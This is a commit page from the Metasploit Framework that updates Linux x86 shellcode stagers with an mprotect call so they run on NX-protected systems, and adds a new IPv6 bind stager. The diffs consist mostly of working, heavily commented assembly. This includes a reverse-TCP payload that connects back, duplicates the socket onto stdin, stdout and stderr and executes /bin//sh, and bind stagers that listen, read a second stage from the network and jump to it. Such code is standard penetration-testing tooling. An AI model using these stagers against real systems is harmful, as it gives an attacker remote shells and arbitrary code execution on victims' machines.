Update linux stagers for NX compatibility
- Adds a call to mprotect(2) to the reverse and bind stagers - Adds accurate source for some other linux shellcode, including some comments to make it more maintainable - Adds tools/module_payload.rb for listing all payloads for each exploit in a greppable format. Makes it easy to find out if a payload change causes a payload to no longer be compatible with a given exploit. - Missing from this commit is source for reverse_ipv6_tcp
This commit is contained in:
+16
-2
@@ -1,4 +1,4 @@
|
||||
STAGERS=stager_sock_bind stager_sock_bind_udp stager_sock_bind_icmp \
|
||||
STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind_icmp \
|
||||
stager_egghunt stager_sock_find stager_sock_reverse \
|
||||
stager_sock_reverse_icmp stager_sock_reverse_udp \
|
||||
stager_sock_reverse_udp_dns
|
||||
@@ -30,8 +30,22 @@ all: $(SINGLE) $(STAGES) $(STAGERS)
|
||||
sed -e 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' \
|
||||
-e 's/^/"/;s/$$/"/;$$ b;s/$$/+/;' > $@
|
||||
|
||||
# ljust(23) because the longest instruction is usually 5 bytes which takes 22
|
||||
# characters including quotes
|
||||
%.disasm: %.bin
|
||||
@ndisasm -b 32 $< > $@
|
||||
@ndisasm -b 32 $< > $*.tmp
|
||||
@ruby -p -a -e ' \
|
||||
$$F.shift; \
|
||||
$$F[0].tap { |s| \
|
||||
s.tr! "A-F", "a-f"; \
|
||||
t=s.dup; \
|
||||
s.clear; \
|
||||
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
|
||||
STDIN.eof? ? s<< " # " : s<< "+# "; \
|
||||
}; \
|
||||
$$_ = $$F.join(" ") + "\n"; \
|
||||
' < $*.tmp > $@
|
||||
@rm $*.tmp
|
||||
|
||||
$(SINGLE) $(STAGES) $(STAGERS): %: %.o
|
||||
@echo "Building $@... (`wc -c $(<:.o=.bin)|awk '{print $$1}'` bytes)"
|
||||
|
||||
@@ -31,49 +31,52 @@ GLOBAL _start
|
||||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
pop eax
|
||||
mov ecx, esp
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
|
||||
; int dup2(int oldfd, int newfd);
|
||||
dup:
|
||||
pop ecx
|
||||
pop ecx ; oldfd = 2, aka stderr
|
||||
; newfd is in ebx, set above, and doesn't change until we're ready to call
|
||||
; connect(2)
|
||||
dup_loop:
|
||||
mov al, 0x3f
|
||||
mov al, 0x3f ; __NR_dup2
|
||||
int 0x80
|
||||
dec ecx
|
||||
jns dup_loop
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
connect:
|
||||
pop ebx
|
||||
pop edx
|
||||
push dword 0x0100007f
|
||||
push word 0xbfbf
|
||||
inc ebx
|
||||
push bx
|
||||
mov ecx, esp
|
||||
mov al, 0x66
|
||||
push eax
|
||||
push ecx
|
||||
push ebx
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
||||
push 0xbfbf0002 ; addr->sin_port = 49087
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
mov ecx, esp ; ecx = addr
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
push eax ; addrlen
|
||||
push ecx ; addr
|
||||
push ebx ; sockfd
|
||||
mov bl, 0x3 ; 3 = SYS_CONNECT
|
||||
mov ecx, esp ; socketcall args
|
||||
int 0x80
|
||||
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
execve:
|
||||
push edx
|
||||
push edx ; NULL terminator for "/bin//sh"
|
||||
push dword 0x68732f2f
|
||||
push dword 0x6e69622f
|
||||
mov ebx, esp
|
||||
push edx
|
||||
push ebx
|
||||
mov ecx, esp
|
||||
mov al, 0x0b
|
||||
mov ebx, esp ; filename
|
||||
push edx ; NULL terminator for argv
|
||||
push ebx ; pointer to "/bin//sh"
|
||||
mov ecx, esp ; argv = pointer to pointer to "/bin//sh"
|
||||
mov al, 0x0b ; __NR_execve
|
||||
int 0x80
|
||||
|
||||
|
||||
+67
-32
@@ -1,14 +1,16 @@
|
||||
;;
|
||||
;
|
||||
;
|
||||
; Name: stager_sock_bind
|
||||
; Qualities: Can Have Nulls
|
||||
; Version: $Revision: 1607 $
|
||||
; License:
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; With enhancements from the unixasm project by Ramon de Carvalho Valle
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Implementation of a Linux portbind TCP stager.
|
||||
@@ -32,56 +34,89 @@ BITS 32
|
||||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
push byte 0x7d ; __NR_mprotect
|
||||
pop eax
|
||||
cdq
|
||||
mov ecx, esp
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
and bx, 0xf000 ; ensure that addr is page-aligned
|
||||
int 0x80
|
||||
xchg eax, esi
|
||||
|
||||
xor ebx, ebx ; ebx is the call argument to socketcall
|
||||
mul ebx ; set edx:eax to 0, we'll need them in a minute
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
; Server socket is now in eax. We'll push it to the stack in a sec and then
|
||||
; just reference it from there, no need to store it in a register
|
||||
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
bind:
|
||||
inc ebx
|
||||
push edx
|
||||
push word 0xbfbf ; port: 49087
|
||||
push bx
|
||||
mov ecx, esp
|
||||
push byte 0x66
|
||||
pop ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
|
||||
pop esi ; 1 = junk - this keeps ecx pointing to the right place
|
||||
; set up the sockaddr
|
||||
push edx ; addr->sin_addr = 0 = inet_addr("0.0.0.0")
|
||||
push 0xbfbf0002 ; addr->sin_port = 0xbfbf
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
push byte 0x10 ; addrlen
|
||||
push ecx ; addr (ecx still points to the right place on the stack)
|
||||
push eax ; sockfd ; return value from socket(2) above
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push esi
|
||||
mov ecx, esp
|
||||
int 0x80
|
||||
|
||||
listen:
|
||||
mov al, 0x66
|
||||
shl ebx, 1
|
||||
shl ebx, 1 ; 4 = SYS_LISTEN
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
|
||||
; At this point the stack will look like this:
|
||||
;
|
||||
; [ sockfd ] <-- esp, ecx
|
||||
; [ addr ] # pointer to below on the stack
|
||||
; [ addrlen = 0x66 ]
|
||||
; [ 0xbfbf0002 ] <-- *addr
|
||||
; [ 0x00000000 ] inet_addr("0.0.0.0")
|
||||
;
|
||||
; Since addrlen is ignored if addr is null, we can set esp+4 to NULL and use
|
||||
; the sockfd that's already on the stack as an argument to accept(2), thus
|
||||
; avoiding having to set up a full list of args. Conveniently,
|
||||
; mov [ecx+4], edx
|
||||
; is three bytes long, whereas the old sequence:
|
||||
; push edx ; addr = NULL
|
||||
; push edx ; addrlen = NULL
|
||||
; push esi ; sockfd
|
||||
; mov ecx, esp ; socketcall args
|
||||
; weighs in at 5
|
||||
|
||||
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
accept:
|
||||
push edx
|
||||
push edx
|
||||
push esi
|
||||
inc ebx
|
||||
mov ecx, esp
|
||||
mov al, 0x66
|
||||
inc ebx ; 5 = SYS_ACCEPT
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov [ecx+4], edx
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
xchg eax, ebx ; client socket is now in ebx
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
read:
|
||||
recv:
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
; for fd
|
||||
jmp ecx
|
||||
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
;;
|
||||
;
|
||||
; Name: stager_sock_bind6
|
||||
; Qualities: Can Have Nulls
|
||||
; Version: $Revision: 1607 $
|
||||
; License:
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Implementation of a Linux portbind TCP stager.
|
||||
;
|
||||
; File descriptor in edi.
|
||||
;
|
||||
; Meta-Information:
|
||||
;
|
||||
; meta-shortname=Linux Bind TCP Stager
|
||||
; meta-description=Listen on a port for a connection and run a second stage
|
||||
; meta-authors=skape <mmiller [at] hick.org>; egypt <egypt [at] metasploit.com>
|
||||
; meta-os=linux
|
||||
; meta-arch=ia32
|
||||
; meta-category=stager
|
||||
; meta-connection-type=bind
|
||||
; meta-name=bind_ipv6_tcp
|
||||
; meta-path=lib/Msf/PayloadComponent/Linux/ia32/BindStager.pm
|
||||
;;
|
||||
BITS 32
|
||||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
push byte 0x7d ; __NR_mprotect
|
||||
pop eax
|
||||
cdq
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
and bx, 0xf000 ; ensure that addr is page-aligned
|
||||
int 0x80
|
||||
|
||||
xor ebx, ebx ; ebx is the call argument to socketcall
|
||||
mul ebx ; set edx:eax to 0, we'll need them in a minute
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0xa ; domain = 0xa = AF_INET6
|
||||
mov ecx, esp ; socketcall args
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
; Server socket is now in eax. We'll push it to the stack in a sec and then
|
||||
; just reference it from there, no need to store it in a register
|
||||
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
bind:
|
||||
inc ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
|
||||
; set up the sockaddr
|
||||
|
||||
push edx ; addr->sin6_scopeid = 0
|
||||
push edx ; addr->sin6_addr = inet_pton("::0")
|
||||
push edx ; ...
|
||||
push edx ; ...
|
||||
push edx ; ...
|
||||
push edx ; addr->flowinfo = 0
|
||||
push 0xbfbf000a ; addr->sin6_port = 0xbfbf
|
||||
; addr->sin6_family = 0xa = AF_INET6
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x1c ; addrlen
|
||||
push ecx ; addr
|
||||
push eax ; sockfd ; return value from socket(2) above
|
||||
mov ecx, esp ; socketcall args
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
int 0x80
|
||||
|
||||
listen:
|
||||
shl ebx, 1 ; 4 = SYS_LISTEN
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
int 0x80
|
||||
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
accept:
|
||||
inc ebx ; 5 = SYS_ACCEPT
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov [ecx+4], edx
|
||||
int 0x80
|
||||
xchg eax, ebx
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
; ssize_t read(int fd, void *buf, size_t count);
|
||||
recv:
|
||||
; fd = ebx
|
||||
; buf = ecx is pointing somewhere in the stack
|
||||
mov dh, 0xc ; count = 0xc00
|
||||
mov al, 0x3 ; __NR_read
|
||||
int 0x80
|
||||
mov edi, ebx ; not necessary if second stages use ebx instead of edi
|
||||
; for fd
|
||||
jmp ecx
|
||||
|
||||
%else
|
||||
%ifdef FD_REG_EDI
|
||||
mov edi, ebx
|
||||
%endif
|
||||
%endif
|
||||
+36
-22
@@ -26,48 +26,62 @@
|
||||
; meta-connection-type=reverse
|
||||
; meta-name=reverse_tcp
|
||||
; meta-basemod=Msf::PayloadComponent::ReverseConnection
|
||||
; meta-offset-lhost=0x11
|
||||
; meta-offset-lport=0x17
|
||||
; meta-offset-lhost=0x12
|
||||
; meta-offset-lport=0x19
|
||||
;;
|
||||
BITS 32
|
||||
GLOBAL _start
|
||||
|
||||
_start:
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
; int socket(int domain, int type, int protocol);
|
||||
socket:
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push byte 0x2
|
||||
push byte 0x66
|
||||
pop eax
|
||||
mov ecx, esp
|
||||
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
||||
inc ebx ; 1 = SYS_SOCKET
|
||||
push ebx ; type = 1 = SOCK_STREAM
|
||||
push byte 0x2 ; domain = 2 = AF_INET
|
||||
mov al, 0x66 ; __NR_socketcall
|
||||
mov ecx, esp ; socketcall args
|
||||
int 0x80
|
||||
xchg eax, edi
|
||||
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
connect:
|
||||
pop ebx
|
||||
push dword 0x0100007f ; ip: 127.0.0.1
|
||||
push word 0xbfbf ; port: 49087
|
||||
push bx
|
||||
mov ecx, esp
|
||||
push byte 0x66
|
||||
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
||||
push 0xbfbf0002 ; addr->sin_port = 49087
|
||||
; addr->sin_family = 2 = AF_INET
|
||||
mov ecx, esp ; ecx = addr
|
||||
push byte 0x66 ; __NR_socketcall
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push edi
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
push eax ; addrlen
|
||||
push ecx ; addr
|
||||
push edi ; sockfd
|
||||
mov ecx, esp ; socketcall args
|
||||
inc ebx ; 3 = SYS_CONNECT
|
||||
int 0x80
|
||||
|
||||
%ifndef USE_SINGLE_STAGE
|
||||
|
||||
; int mprotect(const void *addr, size_t len, int prot);
|
||||
mprotect:
|
||||
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
|
||||
mov ebx, esp ; addr
|
||||
shr ebx, 12 ; ensure that addr is page-aligned
|
||||
shl ebx, 12
|
||||
mov al, 0x7d ; __NR_mprotect
|
||||
int 0x80
|
||||
|
||||
; ssize_t read(int fd, void *buf, size_t count);
|
||||
recv:
|
||||
pop ebx
|
||||
pop ebx ; sockfd
|
||||
mov ecx, esp ; buf
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
mov dh, 0xc ; count = 0xc00
|
||||
mov al, 0x3 ; __NR_read
|
||||
int 0x80
|
||||
jmp ecx
|
||||
|
||||
|
||||
Reference in New Issue
Block a user